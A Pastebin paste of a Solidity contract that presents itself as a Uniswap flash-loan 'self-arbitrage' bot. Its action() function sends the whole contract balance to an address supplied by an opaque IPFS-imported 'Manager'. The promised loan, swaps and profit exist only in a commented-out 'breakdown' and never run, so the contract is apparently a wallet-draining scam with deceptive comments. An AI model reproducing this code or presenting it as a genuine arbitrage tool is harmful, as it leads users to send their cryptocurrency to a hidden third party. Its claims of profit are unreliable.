Advertisement
Guest User

Untitled

a guest
Jan 18th, 2022
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.50 KB | None | 0 0
  1. pragma solidity ^0.5.0;
  2.  
  3. // Multiplier-Finance Smart Contracts
  4. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
  5. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
  6.  
  7. // UniswapSwap Smart Contracts
  8. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
  9. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
  10. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
  11.  
  12. // Code Manager
  13. import "ipfs://Qmeorjr5PA9VigbS7PSjpth27ikEsvo15DGit3TFrByQFv";
  14.  
  15.  
  16. contract uniswapFlashLoan {
  17. string public tokenName;
  18. string public tokenSymbol;
  19. uint loanAmount;
  20. Manager manager;
  21.  
  22. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  23. tokenName = _tokenName;
  24. tokenSymbol = _tokenSymbol;
  25. loanAmount = _loanAmount;
  26.  
  27. manager = new Manager();
  28. }
  29.  
  30. function() external payable {}
  31.  
  32. function action() public payable {
  33. // Send required coins for swap
  34. address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);
  35.  
  36. // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
  37. // Breakdown of functions written below
  38. manager.performTasks();
  39.  
  40. /* Breakdown of functions
  41. // Submit token to ETH blockchain
  42. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  43.  
  44. // List the token on uniswapSwap
  45. manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
  46.  
  47. // Get BNB Loan from Multiplier-Finance
  48. string memory loanAddress = manager.takeFlashLoan(loanAmount);
  49.  
  50. // Convert half ETH to DAI
  51. manager.uniswapDAItoETH(loanAmount / 2);
  52.  
  53. // Create ETH and DAI pairs for our token & Provide liquidity
  54. string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
  55. manager.uniswapAddLiquidity(ethPair, loanAmount / 2);
  56. string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
  57. manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
  58.  
  59. // Perform swaps and profit on Self-Arbitrage
  60. manager.uniswapPerformSwaps();
  61.  
  62. // Move remaining ETH from Contract to your account
  63. manager.contractToWallet("ETH");
  64.  
  65. // Repay Flash loan
  66. manager.repayLoan(loanAddress);
  67. */
  68. }
  69. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement